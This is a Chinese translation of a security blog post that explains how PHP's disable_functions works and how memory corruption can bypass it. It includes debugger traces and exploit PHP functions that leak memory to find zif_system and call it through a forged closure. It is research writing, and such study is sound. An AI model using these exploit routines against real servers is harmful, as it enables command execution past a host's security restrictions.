从内存破坏到绕过的disable_functions
根据当前的研究状况,我们可以将绕过disable_functions
分为两大类:一是通过调用外部二进制文件(例如由Chankro发布的著名的mail() + putenv()
方法,以及shellshock/imap_open()之类的命令注入等);其次就是和内存破坏有关。我们之前已经讨论过的第一类方式,甚至还展示了一种自动发现这类缺陷的简单方法。所以现在让我们来讨论第二种方式。
我们的讨论是基于mm0r1的成果,其中描述的技术可帮助我们绕过这种函数限制。
我们的演示环境是基于Debian和PHP 7:
PHP 7.2.11 (cli) (built: Oct 24 2018 01:39:46) (NTS)
Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux
disable_functions是如何工作的
首先我们需要弄清楚的是这个安全限制是如何工作的。在PHP中,函数分为两类:“内部”函数(var_dump()、base64_decode()等)和“用户”函数(function blabla($a,$b){…})。它们都被引擎在名为function_table
的哈希表中注册,这个哈希表用于在从PHP脚本中调用函数时进行精确查找。
负责执行动作的主要代码如下:
ZEND_API int zend_disable_function(char *function_name, size_t function_name_length)
{
zend_internal_function *func;
if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
zend_free_internal_arg_info(func);
func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
func->num_args = 0;
func->arg_info = NULL;
func->handler = ZEND_FN(display_disabled_function);
return SUCCESS;
}
return FAILURE;
}
这段代码会在function_table
中查找目标函数,并将原始handler
更改为一个名为display_disabled_function
的函数。正如你所想象的,它会输出了一个经典的错误信息:
/* Dummy function which displays an error when a disabled function is called. */
ZEND_API ZEND_COLD ZEND_FUNCTION(display_disabled_function)
{
zend_error(E_WARNING, "%s() has been disabled for security reasons", get_active_function_name());
}
因此,每当我们试图使用这个被禁用的函数时,就将调用display_disabled_function
,而不是真正的所需函数。我们可以通过调试器来证实这点。为了测试这一点,请在zend_disable_function
上设置一个断点,并附带-d 'disable_functions=system' exploit.php
运行二进制文件。
Breakpoint zend_disable_function
pwndbg> bt
#0 zend_disable_function (function_name=0x555556811aa0 "system", function_name_length=6) at /tmp/php-7.2.11/Zend/zend_API.c:2839
#1 0x0000555555ae6a0b in php_disable_functions () at /tmp/php-7.2.11/main/main.c:229
#2 0x0000555555aeb1d4 in php_module_startup (sf=0x5555566bd9e0 <cli_sapi_module>, additional_modules=0x0, num_additional_modules=0) at /tmp/php-7.2.11/main/main.c:2326
#3 0x0000555555d4e479 in php_cli_startup (sapi_module=0x5555566bd9e0 <cli_sapi_module>) at /tmp/php-7.2.11/sapi/cli/php_cli.c:431
#4 0x0000555555d509d1 in main (argc=4, argv=0x5555566f2890) at /tmp/php-7.2.11/sapi/cli/php_cli.c:1371
#5 0x00007ffff69282e1 in __libc_start_main (main=0x555555d503fb <main>, argc=4, argv=0x7fffffffe4b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4a8) at ../csu/libc-start.c:291
#6 0x0000555555684d3a in _start ()
我们可以看到指令(也就是system)中声明的函数名是如何作为参数传递给这个函数的。此时,function_table
中的handle
是不变的:
pwndbg> p *func
$7 = {
type = 1 '\001',
arg_flags = "\004\000",
fn_flags = 256,
function_name = 0x555556726a90,
scope = 0x0,
prototype = 0x0,
num_args = 2,
required_num_args = 1,
arg_info = 0x5555565f80d8 <arginfo_system+24>,
handler = 0x5555559fa20b <zif_system>,
module = 0x555556721730,
reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}
让我们在return之前再次检查该值:
pwndbg> p *func
$8 = {
type = 1 '\001',
arg_flags = "\004\000",
fn_flags = 256,
function_name = 0x555556726a90,
scope = 0x0,
prototype = 0x0,
num_args = 0,
required_num_args = 1,
arg_info = 0x0,
handler = 0x555555baa699 <zif_display_disabled_function>,
module = 0x555556721730,
reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}
可以看到现在handler
字段指向display_disabled_function
。如果你想知道为什么这些函数有一个zif_
前缀,那是因为它们是由PHP_FUNCTION
宏创建的,是“Zend Internal Function”的首字母缩写。
以上就是阻止脚本调用“危险”函数的策略,但是zif_system
函数并不是从全局中被删除。它仍然存在,我们也可以继续使用它(如果我们可以控制内存)。
内存损坏
我们需要做的第一件事是找到zif_system
的位置。为此,我们需要一个primitive来泄漏任意内存。以下exploit可查找二进制库,然后解析ELF结构来查找目标函数:
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
有了以上信息之后,下一步就是考虑调用zif_system
函数。在这个过程中,使用了一种基于闭包的方法。在PHP中,匿名函数也是通过闭包类实现的。而与闭包相关的主要结构是zend_closure
:
typedef struct _zend_closure {
zend_ob ject std;
zend_function func;
zval this_ptr;
zend_class_entry *called_scope;
zif_handler orig_internal_handler;
} zend_closure;
深入其中的字段,我们可以发现存在一个指向函数的handler,其代码将被执行。实际上,这个exploit所创建的闭包对象(真实的闭包对象)为:
pwndbg> p (*(zend_closure *) 0x7ffff38652c0)->func->internal_function
$3 = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff3801d70,
scope = 0x0,
prototype = 0x7ffff38652c0,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff387c0f0,
handler = 0x7ffff3879068,
module = 0x2,
reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}
这个exploit会创建一个假的闭包对象,复制这些值并将type更改为值“1”(内部函数),并将handler
更改为zif_system
位置,最后成功调用这个函数。
pwndbg> p (*(zend_closure *) 0x7ffff38929a8)->func->internal_function
$4 = {
type = 1 '\001',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff3801d70,
scope = 0x0,
prototype = 0x7ffff38652c0,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff387c0f0,
handler = 0x5555559fa20b <zif_system>,
module = 0x2,
reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}
结论
我希望这篇简短的文章能够帮助你理解disable_functions是如何工作的,以及如何使用内存损坏来实现绕过。只要可以在进程中运行任意代码,就可以调用二进制文件中的任何函数。如果你发现任何错误,请随时在twitter上联系我@TheXC3LL。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://x-c3ll.github.io/posts/UAF-PHP-disable_functions/
最新评论